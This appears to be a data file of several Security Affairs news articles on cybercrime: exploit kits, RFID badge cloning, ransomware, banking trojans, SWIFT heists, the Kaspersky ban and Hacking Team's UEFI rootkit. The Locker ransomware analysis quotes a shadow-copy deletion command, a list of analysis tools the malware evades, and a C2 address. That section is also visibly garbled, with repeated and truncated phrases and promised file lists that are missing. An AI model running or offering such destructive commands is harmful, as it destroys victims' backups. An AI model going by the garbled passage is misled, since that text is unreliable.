3906_48594 | As highlighted by security experts the threat landscape is in continuous evolution, despite the criminal underground was monopolized by Angler and Nuclear exploit kits for several years other EKs represent a serious threat to online users., Malicious traffic related to Neutrino and RIG EKs demonstrates the high interest in these crime kits of malware authors. The interesting data that emerges from the observation of exploit kit traffic is its drastic fall, around 96% since early April., What is happening?, The Necurs botnet, one of the world’s largest malicious architecture used to spread the dreaded threats like Dridex and Locky appears to have vanished since June 1., The Angler and Nuclear exploit kits seem to be disappeared too, likely due to the hits of the law enforcement to the malware industry. Do not rejoice, I believe that this transitionary moment in which the principal criminal rings are searching for new structures., The Nuclear EK, the oldest EK in the wild, was observed for the last time at the end of April, but security experts have no specific information regarding the suspension of its activities., In April 2015, the experts from Check Point published an interesting report on the Nuclear EK and the infrastructure used by its operators, a money machine that was operated by a group of Russian developers led by an individual in Krasnodar, Russia., What about the Nuclear EK?, According to the experts from Symantec, there is no evidence of the Nuclear’s activity since the first week of May., “Angler’s disappearance has also prompted a falloff in activity in CryptXXX ransomware (Trojan.Cryptolocker.AN). Angler was one of the main delivery channels for CryptXXX.” reported the analysis published by Symantec. “Angler is not the only exploit kit to recently depart the scene. The well-known Nuclear exploit kit became inactive from the beginning of May. Since this occurred one month earlier, it is unclear if there is any connection with more recent developments.”, , , What’s interesting to note, however, is that a graph published by Proofpoint late last week suggests that Nuclear was still active during the second half of May., The Angler’s disappearance might be caused by law enforcement activities, including the recent 50 arrests in Russia that were linked to the operations of the Lurk malware., We read about Angler since June, the most recent news is related to the inclusion of the recent Flash zero-days and improvement of evasion techniques., According to the experts from Proofpoint, the disappearance of Angler and Nuclear EKs, pushed the adoption of the Neutrino and RIG exploit kits., “Interestingly, the shift to Neutrino was well underway by the time it was first reported, with Angler traffic dropping off dramatically as early as mid-May, and Nuclear EK affected as well. Angler and Nuclear EK activity has dropped to almost nothing as threat actors moved to instances of the Neutrino exploit kit. Shifting from one exploit kit to another is nothing new and threat actors may even use more than one regularly. However, with the exception of a brief break in January 8, Angler has dominated the EK market for some time, as we explained in the Threat Summary for January-March,” states the report published by ProofPoint., , , “By our estimates, Neutrino dropping CryptXXX account for as much as 75% of observed exploit kit traffic, and another 10% combined from Neutrino and Magnitude dropping Cerber ransomware. Most of the remaining 15% of EK traffic is RIG dropping a variety of payloads (banking Trojan, info stealers, loaders) on lower-value malvertising traffic, with various smaller EKs such as Sundown, Kaixin, Hunter and others making up the last 1% of total observed EK traffic,” continues Proofpoint., Experts from Kaspersky Lab confirmed the above trends highlighting that criminal groups switched to Neutrino and RIG exploit kits., What will happen in the future?, It is very difficult to say, anyway, cyber criminals have only changed their weapons but they will continue undeterred their illegal activities., Pierluigi Paganini, Security Affairs – (Exploit Kit, Angler EK, Nuclear EK) |
3722_47125 | Breaking into a company could be very easy and cheap for hackers, it could be sufficient to buy from Amazon and eBay $700 worth of parts., “We watched a team of hackers ‘fully compromise’ a power company in less than 24 hours” reads the Tech Insider., “Standing outside the main office of a power company in the Midwest, a hacker known as metrofader pulls an employee’s electronic badge out of his pocket and waves it at an outside sensor. The door unlocks, even though it’s a fake card made with data stolen earlier that day.“, According to the researchers from RedTeam Security, hackers could purchase a $350 device available on both from Amazon or eBay to bypass access control systems based on employee ID badges by manufacturing counterfeit access cards., The experts explained to journalists at Tech Insider that it is very easy to clone an access card belonging to any employee without stealing employee personal information., Tastic RFID Thief – Source Tech Insider (), Matt Grandy from the RedTeam firm explained that they used a particular device that costs just $350 while visiting a target company., “We got the big, long range reader from Amazon,” RedTeam Security consultant Matt Grandy said. “They’re also all over on eBay.” “They’re also all over on eBay.”, A hacker from the firm pretended to visit a company by posing as a student who requested a tour, he carried the device in a laptop bag that. The device is able to intercept the unencrypted communication between an employee access card and the access control systems used to open/close the doors., The RFID badge reader offered for sale on Amazon and eBay is able to capture access card data up to three feet away and writes it on a microSD card., The attacker just needs to be in the proximity of a known employee while he is using his RFID badge., The attacker can then write the access data captured by the device on a fake employee badge, the operation is very simple by using a second device dubbed Proxmark that cost $300., , The fake badge could be used to access the target company., “RedTeam exploited a well-known issue with RFID, or radio-frequency identification, which is a common method many organizations use to give employees access to facilities. Employees typically hold up their RFID-coded badges to an electronic reader outside a door, which then tells the door, “Hey, let this person in.“” states the Tech Insider. “The problem is that much of the time, that data is sent in the clear without encryption, giving hackers an opportunity to snatch the data right off an employee’s card so they can clone it for their own purposes.”, Of course, in order to improve the physical security, it is possible to encrypt data, another good measure to adopt to protect access cards are the RFID-blocking sleeves., Let me suggest to give a look to the Tastic RFID Thief tool:, Pierluigi Paganini, (Security Affairs – RDIF, hacking) |
4528_53677 | Good news for the victims of the Crysis ransomware, ESET security firm has included master decryption keys into a tool that allows rescuing the encrypted files., The decryption keys for the CrySis ransomware were posted online on the BleepingComputer.com forum by a user known as crss7777 who shared a link to a C header file containing the actual master decryption keys and information on how to utilize them., “In a surprise move, the master decryption keys for the CrySiS Ransomware have been released early this morning in a post on the BleepingComputer.com forums. At approximately 1 AM EST, a member named crss7777 created a post in the CrySiS support topic at BleepingComputer with a Pastebin link to a C header file containing the actual master decryption keys and information on how to utilize them,” wrote Lawrence Abrams from BleepingComputer., “These keys have already been used by Kaspersky Labs to update their RakhniDecryptor program so that it can be used to decrypt victim’s files.”, , Lawrence Abrams speculates the user crss7777 could be a member of the development team., “Though the identity of crss7777 is not currently known, the intimate knowledge they have regarding the structure of the master decryption keys and the fact that they released the keys as a C header file indicates that they may be one of the developers of the CrySiS ransomware,” said Abrams., “Why the keys were released is also unknown, but it may be due to the increasing pressure by law enforcement on ransomware infections and the developers behind them.”, The CrySis ransomware was first spotted in February by ESET, it has infected systems mostly in Russia, Japan, South and North Korea, and Brazil., The malware spreads via email attachments with double file extensions or via malicious links embedded in spam emails., The ransomware is able to encrypt more than 200 file types searching for them on internal and external storage, and network shares, and deleting backup shadow files., The CrySis ransomware appends the .xtbl extension to the encrypted files, the files are renamed following the following format filename.id-id.email_address.xtbl., In June the experts observed a peak in the number of infections, likely due to the dead of TeslaCrypt., Security experts observed that in Australia and New Zealand the Crysis ransomware was targeted businesses exploiting remote desktop connections and compromising routers to re-infect cleaned up computers., “Crysis (detected by Trend Micro as RANSOM_CRYSIS.A), a ransomware family first detected in February this year, has been spotted targeting businesses in Australia in New Zealand through remote desktop protocol (RDP) brute force attacks.” reported Trend Micro in a blog post., It is not clear why crooks dropped the decryption keys, likely they tried to ease the pressure of law enforcement that were trying to identify the operators behind the malware., ESET has included the decryption keys in a free tool, ESET Crysis decryptor, and published instructions to use it., Pierluigi Paganini, (Security Affairs – CrySis ransomware, cybercrime) |
776_18499 | The author of the popular Blackhole exploit kit, also know as Paunch, has been arrested. The cybercrime underground has lost one of its principal actors considering that the malicious kit is one of the most widely used on the Internet. Paunch is the author of two of the most diffused exploit kits, Blackhole and the Cool Exploit Kit, that have dominated the underground scene in recent years. Blackhole exploit kit has been adopted by hackers to hack into several Web browsers and into application of common use such as Adobe Reader. The winning factors for the success of Blackhole exploit kit are its efficiency, the availability of various models for sale (e.g. Sale, rent), the availability of frequent updates and a moderate price (Blackhole can be rented for as little as $200 to $300 per week). Unlike many other exploits, Blackhole includes built-in code obfuscation techniques and other evasive measures continuously updated that made hard the detection of the kit., , Troels Oerting, head of Europol’s European Cybercrime Center, confirmed the arrest to the Tech Week Europe:, “I know it is true, we got some information, but I cannot say anymore.”, Despite the news is very positive for security experts we are all aware of the rapid reactivity of the underground ecosystem, the arrest represents a great opportunity of business for many other cyber criminals and malware authors, it’s a question of time before another hacker takes his place., “It’s is a big deal,” “According to our statistics, Paunch has been the biggest provider of exploit packs for the past two years.” “Now that Paunch is off the market, we’re probably going to see a fight on who will take his place.” he said. said Mikko Hypponen, chief research officer at security firm F-Secure. , The underground is very prolific for the sale of exploit kits, name like Whitehole Exploit Kit, Redkit Exploit kit, Phoenix and Sweet Orange Exploit Kit are very popular in the hacker community, the Russian market is considered most active for creation of new kits. Early 2013 Solutionary’s Security Engineering Research Team (SERT) proposed a very interesting study on malware and exploit kits diffusion observed with its solution ActiveGuard service platform. The report revealed the surprising efficiency of well-known vulnerabilities usually included in the popular exploits sold in the underground, around 60% of the total are more than two years old, and 70% the exploit kits analyzed (26) were released or created in Russia. SERT reports confirmed that most popular and pervasive exploit kit is BlackHole 2.0 that exploits fewer vulnerabilities than other kits do, meanwhile most versatile of these is Phoenix exploit kit that supports 16 % percent of all vulnerabilities being exploited. Over 18% of the malware instance detected were directly attributed to The BlackHole exploit kit that is a web application that exploit known vulnerabilities in most popular applications, frameworks and browsers such as Adobe Reader, Adobe Flash and Java. The security firm RSA Security has estimated that between 75% and 80% of all web threats over the past two years are linked to Blackhole, the offer of Paunch is considered very effective by experts, Blackhole has been available to cyber criminals to buy or rent as I explained in numerous post. The Blackhole has deeply exploited model of sale defined “malware as a service“, another factor that must be considered is that many other hackers have also offered attacks based in the Blackhole exploit kit in a model of sale recognized by specialists as attack-as-a-service., What to expect in the short term?, The use of the exploit kit will decline, the absence of updates will make it not attractive for hackers orienting them to the sale/rent of the other exploit kits. In reality, as highlighted by Sophos experts, the market share for Blackhole or Cool are already decreasing since early 2012 due the presence of many others exploit kits like Glazunov and Neutrino., , The arrest of the alleged author of Blackhole has created a gap in the market that could be filled shortly by new actors able to offer an exploit kit equally efficient. Most likely we will see in the coming months to a reduction in prices of other exploit kits made by the authors to gain a foothold in a market organ of its main product., Be aware because criminals who used to use Blackhole exploit kit will migrate to other malicious kits., Pierluigi Paganini, (Security Affairs – Blackhole, cybercrime, Paunch) |
6974_74764 | The infamous Kronos banking Trojan is back, and according to the experts from Proofpoint it was involved in several attacks in the last months., The malware was first spotted in 2014 by researchers at security firm Trusteer that discovered an adv on the Russian underground market regarding a new financial Trojan dubbed Kronos., , The new variant was discovered in at least three distinct campaigns targeting Germany, Japan, and Poland respectively., The new variants share many similarities with older versions:, “Some of the features highlighted in the ad (written in C++, banking Trojan, uses Tor, has form grabbing and keylogger functionality, and uses Zeus-formatted webinjects) overlap with features we observed in this new version of Kronos.” continues the analysis., “The ad mentions the size of the bot to be 350 KB which is very close to the size (351 KB) of an early, unpacked sample of the new version of Kronos we found in the wild 8. This sample was also named “os.exe” which may be short for “Osiris”.”, Since April 2018, experts discovered new samples of a new variant of the Kronos banking Trojan in the wild. The most important improvement is represented by the command and control (C&C) mechanism that leverages the Tor anonymizing network., “There is some speculation and circumstantial evidence suggesting that this new version of Kronos has been rebranded “Osiris” and is being sold on underground markets.” states the analysis published by Proofpoint., A first campaign was observed on June 27, the malware was targeting German users with weaponized documents attached to spam emails. The macros included in the document was used as downloader for the payload, in some cases, the SmokeLoader downloader., A second campaign was uncovered on July 13, the victims were infected through a malvertising campaign. The malicious ads pointed out to a website that thanks to JavaScript injections redirected visitors to the RIG exploit kit, that delivered SmokeLoader. The downloader would deliver the Kronos onto the compromised machines., A third campaign was observed since July 15 and sees victims receiving fake invoice emails carrying weaponized documents that attempted to exploit the CVE-2017-11882 vulnerability to deliver and execute the Kronos Trojan., The experts highlighted that the malware leveraged webinjects in the German and Japanese campaigns, but they weren’t involved in the attacks on Poland., The fourth campaign started on July 20 and according to the experts it is still ongoing., “The reappearance of a successful and fairly high-profile banking Trojan, Kronos, is consistent with the increased prevalence of bankers across the threat landscape.” Proofpoint concludes., “While there is significant evidence that this malware is a new version or variant of Kronos, there is also some circumstantial evidence suggesting it has been rebranded and is being sold as the Osiris banking Trojan,”, Pierluigi Paganini, Security Affairs – (Kronos, banking) |
4199_50854 | In the last months, a worrisome string of attacks against banks worldwide through the SWIFT system has alarmed the banking industry. The so-called “SWIFT hackers” have conducted multiple cyber attacks against financial institutions. We reported the successful cyber heists on the Bangladesh bank, against a Ukrainian bank, and the Ecuadorian bank, meanwhile, a Vietnam bank reported to have blocked an ongoing cyber heist., In May, a fourth Bank in the Philippines was a victim of the SWIFT hackers and the experts at Symantec confirmed the malware used by the crooks shares code with tools used by the notorious Lazarus group linked to the North Korean Government., According to the Reuters agency, the SWIFT issued a new warning urging member banks to implement the new SWIFT software by 19 November., The latest version of SWIFT’s software implements new security features specifically designed to defeat such kind of attacks.The authentication processes have been improved such as the implementation of mechanisms to early detect fraudulent activities., “Customers’ environments have been compromised, and subsequent attempts (were) made to send fraudulent payment instructions. The threat is persistent, adaptive and sophisticated – and it is here to stay.” states the SWIFT., The organization hasn’t provided further details on the alleged additional cyber attacks against banks worldwide., “All the victims shared one thing in common,” says Reuters: “Weaknesses in local security that attackers exploited to compromise local networks and send fraudulent messages requesting money transfers.”, The SWIFT logo is pictured in this photo illustration taken April 26, 2016. REUTERS/Carlo Allegri/Illustration/File Photo, SWIFT told banks that it might report the incident to regulators and banking partners if they failed to adopt the new SWFT software., Despite the efforts of the SWIFT, many experts speculate that the new security features are not enough to consider completely secure the banking systems., Of course, the cyber attacks have prompted regulators globally to press financial institution to bolster their security defenses., Pierluigi Paganini, (Security Affairs – Cyber heists, banking) |
5455_60957 | The US government bans Kaspersky solutions amid concerns over Russian state-sponsored hacking. Federal agencies will not buy software from Kaspersky Lab due to its alleged links to the Russian intelligence services., This week, a Bloomberg News report, claimed internal company emails show that Kaspersky has a strict relationship with Russia secret services FSB., The General Services Administration (GSA), which is the organization that handles federal government purchasing contracts, announced that cyber security firm Kaspersky Lab has been removed from the list of approved vendors., “GSA’s priorities are to ensure the integrity and security of US government systems and networks and evaluate products and services available on our contracts using supply chain risk management processes,” reads the statement issued by the General Services Administration., The decision doesn’t surprise the IT security industry, the US intelligence and Government officials have expressed concerns about the adoption of Kaspersky software several times., It is important to highlight that the ban is not total, Government agencies will still be able to use Kaspersky software purchased separately from the GSA contract process., According to the Reuters,, The company said in a statement to AFP , it had not received any updates from GSA or any other U.S. government agency regarding its vendor status., “Kaspersky Lab has no ties to any government, and the company has never helped, nor will help, any government in the world with its cyberespionage efforts,” the company said., It added that it had been “caught in the middle of a geopolitical fight where each side is attempting to use the company as a pawn in their political game.”, Kaspersky added that “the company is being unjustly accused without any hard evidence to back up these false allegations.”, , Kaspersky on Tuesday published statement in response to the Bloomberg’s report., “While the U.S. government hasn’t disclosed any evidence of the ties, internal company emails obtained by Bloomberg Businessweek show that Kaspersky Lab has maintained a much closer working relationship with Russia’s main intelligence agency, the FSB, than it has publicly admitted.”, “Actually, the reported emails show no such link, as the communication was misinterpreted or manipulated to try to make the media outlet’s narrative work. Kaspersky Lab is very public about the fact that it assists law enforcement agencies around the world with fighting cyberthreats, including those in Russia, by providing cybersecurity expertise on malware and cyberattacks.” states Kaspersky., “Kaspersky Lab regularly cooperates with law enforcement agencies, industry peers and victims of cybercrime.”, In May, the Senate Armed Services Committee passed a defense spending policy bill that would ban Kaspersky products from use in the US military. The decision was taken a day after the FBI interviewed several of the company’s U.S. employees at their private homes as part of a counterintelligence investigation into its operations., “In May senior U.S. intelligence officials said in testimony before the Senate Intelligence Committee that they were reviewing government use of software from Kaspersky Lab.” reported the Reuters Agency., “Lawmakers raised concerns that Moscow might use the firm’s products to attack American computer networks, a particularly sensitive issue given allegations by U.S. intelligence agencies that Russia hacked and leaked emails of Democratic Party political groups to interfere in the 2016 presidential election campaign. Russia denies the allegations.”, Pierluigi Paganini , (Security Affairs – Kaspersky Lab, Cyber espionage) |
2355_37325 | On May 25th, 2015, a wave of reports came flooding in from users around the globe, claiming that their computers have become compromised. Messages from users looking for help began appearing on forums such as Bleeping Computer, where screenshots and further information regarding the incident came to light., It became clear that these users had become infected with a new variant of ransomware whose name, derived from the window that opens on the infected device, has been dubbed the “Locker” ransomware by Lawrence Abrams of Bleeping Computer., The delivery mechanism of this new ransomware variant is quite interesting. Not only did this variant utilize a chain of various services and executables to reach its final stage, but it appears that the Trojan Downloader that retrieve the ransomware payload did so in a fashion that can be described as quite similar to a “logic bomb”. At midnight on the 25 ransomware variant is quite interesting., Where did this Trojan Downloader come from? This question has been answered to some extent, but speculation remains as to whether additional infection vectors exist, or if the downloader is being spread by additional malicious software. However, one infection vector has become known: a cracked copy of Minecraft; specifically, the cracked “Team Extreme” version of Minecraft.downloader is being spread by additional malicious software., The Locker Ransomware, Like the various other ransomware variants that we have observed in-the-wild, Locker will enumerate the targeted device’s local file system, searching for specific file extensions of files to encrypt. After enumerating the file system and performing its encryption activities, leveraging AES encryption, Locker opened a window containing a ransom note and information regarding the infection., This window explains what occurred to the file system and provides payment information and demands an initial ransom of .1 bitcoins., The ransomware variants that we have observed in-the-wild, Locker will enumerate the targeted device’s local file system, searching for specific file extensions of files to encrypt., Locker affects all versions of Windows; this includes Windows XP, Windows 7, and Windows 8. The Trojan Downloader that delivers Locker is installed as a Windows service with a random file name; the executable file that installs the downloader resides in the downloader resides in the downloader resides in the downloader resides in the C:\Windows\SysWOW64 directory of the affected file system., Additionally, another service was installed in the following directory: C:\ProgramData\Steg\ with a file name of Steg.exe. When executed, this service creates a folder under C:\ProgramData\ named Tor. Furthermore, after the creation of the Tor folder, yet another service was installed, titled “LDR”. Its associated executable resides within C:\ProgramData\rkcl\ as ldr.exe., This service, whose name can be interpreted as “LOADER”, then installed and launched an executable within the same directory (C:\ProgramData\rkcl), saved as rkcl.ee. This program is the primary executable responsible for Locker’s ransomware activities., Affected Files, Locker will enumerate the local file system, search all drives mounted with a letter, to discover supported data files that it will compromise. Targeted files are discovered via Locker searching the local file system for all files with supported extensions. However, this search is performed using a case-sensitive search; lower-case file extensions (i.e. .doc) would be affected, however, upper-case file extensions (i.e. DOC) would not be affected., Recovery, Locker’s detrimental activities do not cease upon completion of file system enumeration and encryption. Upon completion of the encryption activities, Locker will attempt to delete all Volume Shadow Copies (VSCs) found within the targeted file system., This prevents the victim from using System Restore or the “Previous Versions” tab found within the properties menu of a file to restore the affected file to its previous state. The command issued by Locker to delete all Volume Shadow Copies is:, vssadmin.exe delete shadows /for=C: /all /quiet, Evasion Techniques, Locker performs several techniques to evade analysis. Like many of the new, sophisticated ransomware variants found in-the-wild today, Locker will search for and terminate itself if it is found to be running within a virtual machine (i.e. VMware, Virtual Box)., Additionally, it will terminate itself if it detects and of the following processes running, many of which are used by malware analysts:, wireshark, fiddler, netmon, procexp, processhacker, anvir, cain, nwinvestigatorpe, uninstalltool, regshot, installwatch, inctrl5, installspy, systracer, whatchanged, trackwinstall, Ransom, Locker initially demands a ransom of .1 bitcoins to an assigned bitcoin address. After 72 hours of non-payment, this ransom amount increases to 1 bitcoin. While running, Locker will make requests to blockchain.info to verify whether or not the victim has submitted a payment., When queried, if blockchain.info returns data indicative that a full payment has been made, Locker will perform a second check against its C2 (command-and-control) server., Locker’s command-and-control server is located at jmslfo4unv4qqdk3.onion., If both requests return that a proper payment has been submitted, Locker will automatically download a file named priv.key, which it stores within the C:\ProgramData\rkcl folder on the targeted device. This file, as can be inferred by its name, contains the private key that Locker will then use to decrypt all affected files., The automated process of decryption rather than requiring the user to download an additional decryption utility is unique to this ransomware variant., Additional Dropped Files, Additionally, a series of data files can be found dropped within the local file system of the affected device. The following files are dropped during the installation process of the Locker ransomware:ransomware:, More Unique Characteristics, While Locker’s delivery and decryption mechanisms are unique in themselves, activity and files that were found in affected file systems reveal more information. If an affected victim finds the following directory on their local file system reveal more information. If an affected victim finds the following directory on their local file system:, If an affected victim finds the following directory on their local file system reveal more information. If an affected victim finds the following directory on their local file system:, C:\ProgramData\Digger, This indicates that the victim’s device was being used as a bitcoin miner by the attacker prior to the Locker ransomware becoming active. The affected devices have potentially been affected and involved in nefarious activity for an unknown period of time, often for months prior to the ransomware becoming active., Associated Locker Files, Trojan Downloader File Hashes, At the time, as previously stated, Locker is only known to have been spread via a cracked version of Minecraft; reportedly the “Team Extreme” version of the cracked software. There are two (2) known Trojan Downloader executable files that have been analyzed and confirmed as malicious at this time. They are:, However, it is believed that this is not the sole infection vector; no further methods of infection can be confirmed at this time., Associated Locker Ransomware Files, HKLM\SYSTEM\CurrentControlSet\services\<random>\Description, Experience (qWave) is a networking platform for Audio Video (AV) streaming applications on IP home networks. qWave enhances AV streaming performance and reliability by ensuring network quality-of-service (QoS) for AV applications., It provides mechanisms for admission control, run time monitoring and enforcement, application feedback, and traffic prioritization.KLM\SYSTEM\CurrentControlSet\services\\DelayedAutostart, Locker Screenshots, Locker GUI Informational Tab / Initially Presented Ransom Information, , Locker GUI Payment Information Tab, , , Locker Sample Timeline, Below details a timeline of the associated services and the overall progression of the Locker ransomware and its Trojan Downloader’s activities., This timeline was constructed after analysis of a device that was newly-purchased and configured on the 19 May of this year, 2015, but unfortunately was also a victim of the Locker ransomware. The affected user also installed the cracked version of the “Team Extreme” Minecraft., Trojan Downloader Installed as a service on 05/20/2015 11:04:27 AM, fastcreekrags.exe began running on 05/20/2015 11:04:30 AM, fastcreekrags.exe terminated unexpectedly on 05/20/2015 11:09:06 AM, fastcreekrags.exe began running on 05/20/2015 11:09:10 AM, Steg.exe installed as a service on 05/20/2015 11:09:52 AM, Service Name: stegsteg, Service File Name: C:\ProgramData\steg\steg.exe, Service Start Type: auto start, Service Account: LocalSystem, Steg service running / stopped on 05/20/2015, Started at 11:09:55 AM, Stopped at 16:28:33 PM, fastcreekrags.exe stopped running on 05/20/2015 16:28:33 PM, Steg service running / stopped on 05/21/2015, Started at 07:13:17 AM, fastcreekrags.exe began running at 07:13:20 AM, Stopped at 09:07:43 AM, fastcreekrags.exe stopped running at 09:07:43 AM, Started at 11:10:46 AM, fastcreekrags.exe began running at 11:10:49 AM, Stopped at 16:23:23 AM, fastcreekrags.exe stopped running at 16:23:23 PM, Steg service running / stopped on 05/22/2015, , Started at 07:12:21 AM, fastcreekrags.exe began running at 07:12:23 AM, Stopped at 07:13:29 AM, fastcreekrags.exe stopped running at 07:13:29 AM, Started at 07:14:17 AM, fastcreekrags.exe began running at 07:14:19 AM, fastcreekrags.exe terminated unexpectedly at 17:14:59 PM, Stopped at 17:37:55 PM, Started at 18:39:27 PM, Started again at 19:51:20 PM, Steg service running / stopped on 05/23/2015, Stopped at 18:59:01 PM, Steg service running / stopped on 05/24/2015, Started at 03:36:22 AM, Stopped at 12:39:15 PM, Steg service running / stopped on 05/25/2015, Started at 05:47:42 AM, Stopped at 05:57:10 AM, ldr.exe installed as a service on 05/25/2015 05:48:08 AM, Service Name: ldr, Service File Name: C:\ProgramData\rkcl\ldr.exe, Service Type: user mode service, Service Start Type: auto start, Service Account: LocalSystem, ldr.exe enters the “stopped state” on 05/25/2015 at 05:48:10 AM, 05:57:42 AM, and 08:54:11 AM, Special Thanks, Special thanks to the team at BleepingComputer.com for the fast analysis and contribution of information regarding this infection; specifically, Lawrence Abrams and Nathan Scott. Additionally, granular analysis and detailed information were largely contributed by: Fabian Wosar of Emsisoft and Mark and Erik Loman of SurfRight., Prevention Methods, Host-Based Intrusion Prevention Software (HIPS) such as McAfee HIPS, HitmanPro: Alert, and other anti-exploit software. Additionally, the configuration and creation of Windows’ native Software Restriction Policies can aid in the prevention of future infections carried out in a similar manner., Tools such as CryptoPrevent by FoolishIT LLC (free and enterprise versions are both available) have also been created for the specific purpose of preventing ransomware from successfully infecting your device., Sources, Bleeping Computer: About the Author Michael Fratello, Edited by Pierluigi Paganini, (Security Affairs – Locker, malware) |
714_17205 | Cybercriminals are targeting the wire payment switch instead to hit directly into the banking accounts of individuals and businesses, this appears to be the last trend observed for recent attacks against numerous US banks., The wire payment switch is the component that manages and executes wire transfers at banks, its impairment represents one of the worst scenarios of attack that banks could suffer., In the spring 2013 Dell SecureWorks Counter Threat Unit (CTU) published the ‘2012 Threatscape Report‘, which highlighted that fraudsters have been utilizing Dirt Jumper, a $200 crimeware kit used for DDoS attacks, to divert bank staff attention away from fraudulent wire transactions., “The CTU research team continues to observe growth and active development within the underground economy, both in offering DDoS as a service as well as creating DDoS kits usable by threat actors with any skill level. Dirt Jumper is the DDoS malware family most often encountered by CTU researchers, and it went through several iterations throughout 2012. While Dirt Jumper can still be found by its original name, the most recent version has been named Pandora. A number of other DDoS kits surfaced, such as YZF, DiWar, and ArmageddoN. Some of these kits turned out to be a rebranded version of Dirt Jumper. Others, such as BlackEnergy and Optima, remained in active use as well.”, In September 2012 the FBI, Financial Services Information Sharing and Analysis Center (FS-ISAC), and the Internet Crime Complaint Center (IC3), issued a joint alert for the diffusion of the Dirt Jumper crimeware kit being used to DDoS attack banks hiding fraudulent transactions., “In some of the incidents, before and after unauthorized transactions occurred, the bank or credit union suffered a distributed denial of service (DDoS) attack against their public Web site(s) and/or Internet Banking URL. The DDoS attacks were likely used as a distraction for bank personnel to prevent them from immediately identifying a fraudulent transaction, which in most cases is necessary to stop the wire transfer. One botnet that has been used for this type of distraction is the Dirtjumper botnet. Dirtjumper is a commercial crimeware kit that can be bought and sold on criminal forums for approximately $200.” states the report., The tools used for the attacks are usually HTTP-based C2 botnet focused on DDoS attack and operate as a multi-threaded process. From the analysis DDoS C2 infrastructure security experts found that the phenomena are globally distributed with higher concentrations in Ukraine, United States, and Russia., , All the tools can identify targets by domain or IP address and supports both HTTP, HTTPS. As described many times cybercriminals could build their own DDoS botnet using one of numerous malware available in the black market or they could pay for a DDoS service from other criminal gangs. Cybercrime is attacking the wire payment switch at several US banks to steal millions from their choice of accounts, according to security experts., Usually cybercriminals attacks directly bank customers compromising their PCs with malicious code such as Zeus or most recent KINS trojan, in this way they collect bank login credentials to steal money from the victim’s bank account., The Gartner Research vice president Avivah Litan explained the tactics of the attackers against at least three US banks, the cybercriminals used ‘low-powered’ distributed denial-of-service (DDoS) attacks as a diversion strategy while they operated fraudulent wire transfers, the losses due to credit institutions amounted to several millions., “DDoS attacks are an increasingly popular method for criminals to divert bank security staff attention while defrauding bank systems. Until recently, most illegal money transfers were accomplished via account takeover – of either customer or employee accounts when the fraudsters moved money from customer accounts to their mules and eventually their own accounts.” wrote Litan in a blog post, It is important to remark that according Litan the attacks didn’t appear to be linked to the campaign conducted by the group of hacktivist known as Martyr Izz ad-Din al-Qassam Cyber Fighters that hit several banking institutions in the last months., The new wave of attacks is financially driven:, “It wasn’t the politically motivated groups,” “It was a stealth low-powered DDoS attack, meaning it wasn’t something that knocked their website down for hours” ” the attacks “added up to millions lost across the three banks”.she confirmed., Once the DDoS is underway, the hackers take over the payment switch (e.g. Wire application) itself using an accredited privileged user account, in this way cyber criminals could control the master payment switch and transfer as much money from as many accounts as they can get away with until their are discovered., The attacks hit directly the financial institutions, security experts believes that banks staff is targeted by a spear phishing campaign despite it is still not clear how the attackers obtained access to the wire payment switch at banks., Once obtained the credentials of multiple employees the cybercriminals were able to obtain privileged access rights on wire payment switch and “handle all aspects of a wire transaction, including the approval”., Security experts suggested to mitigate this type of attacks to slow down the money transfer system for the whole duration of the DDoS attack., Banking institutes are advised … cybercriminals are refining their techniques., Pierluigi Paganini, (Security Affairs – wire payment switch, cybercrime, banking) |
2532_38585 | The recent data breach suffered by the surveillance firm Hacking Team is shocking the IT security industry, the hackers leaked company emails, source codes and contracts revealing uncomfortable truths., Security experts mainly focused their analysis on the hacking tools and exploits codes included in the 400GB package leaked online. The archive included a number of zero-day exploits for Adobe Flash Player and Microsoft IE, these codes are just part of the hacking arsenal of the surveillance firm, which developed the popular Remote Control System (RCS) spyware, also known as Galileo. RCS has a modular structure that allows it to compromise several targets by loading the necessary zero-day exploits., , Last revelation made by the experts at Trend Micro in order of time, is the availability of a UEFI BIOS rootkit in the arsenal of the Hacking Team that allows the company to ensure the persistence for its malware even if the victims will format their hard disk to reinstall the Operating System., “Hacking Team uses a UEFI BIOS rootkit to keep their Remote Control System (RCS) agent installed in their targets’ systems. This means that even if the user formats the hard disk, reinstalls the OS, and even buys a new hard disk, the agents are implanted after Microsoft Windows is up and running.” states Trend Micro., The UEFI BIOS rootkit used by the Hacking Team was specifically designed to compromise UEFI BIOS systems developed by two of the most popular vendors, Insyde and AMI vendors., The experts at the Hacking Team explained that attackers need physical access to the target machine to serve the UEFI BIOS rootkit by flashing the BIOS., “A Hacking Team slideshow presentation claims that successful infection requires physical access to the target system; however, we can’t rule out the possibility of remote installation. An example attack scenario would be: The intruder gets access to the target computer, reboots into UEFI shell, dumps the BIOS, installs the BIOS rootkit, reflashes the BIOS, and then reboots the target system.” continues the post., To prevent this kind of attack Trend Micro recommends:, Pierluigi Paganini, (Security Affairs – UEFI BIOS, rootkit) |
2830_40647 | Last 29th of September, cybernauts worldwide received a simple twitter from Edward Snowden titled “Can you hear me now?”. It was a cyber experiment with a total of 170 000 followers, by shared 25000 times during an hour., Trajectories of cyberpolitics Source: The MIT Press, This simple demonstration on cyberpolitics may confirm that “political discourse via cyber venues consists of a parallel mode of discourse or, alternatively, whether political discourse is assembled first in real venues and then exported or steered toward the cyber domain”.
Moreover, trajectories on cyberpolitics can be related under an interaction of discourse across real and virtual domains, following “cumulative effects” of political behaviour in real institutional contexts., Source: El Mundo, , In fact, considering what is happening today with Trajectories of cyberpolitics?. There is no reason to create limitations on cyberspace to analyze ‘Cyber Conflict’. From one side, (1) “the overarching interactions between the real and virtual domains of politics and (2) “the connections through cyberspace, the shared venue of interaction” 4.
Finally, Duality of Trajectories on cyberpolitics continues in discussion. Cybernauts must continue thinking new trends on cyberpolitics. Why not, to continue enhancing Bernardo A. Huberman’s contributions on cyber dualities, such as “the Web has become a veritable laboratory, where one can study human behaviour with a precision and on a scale never possible before”.
If cybernauts are interested to transforms cyberspace, there is necessary to consider, ”the articulation and aggregation of interests as vital elements to all forms of politics”. Then, cyber venues as part of dualities “must be seen not only as enablers but also as important multipliers of cyberpolitics” 5.
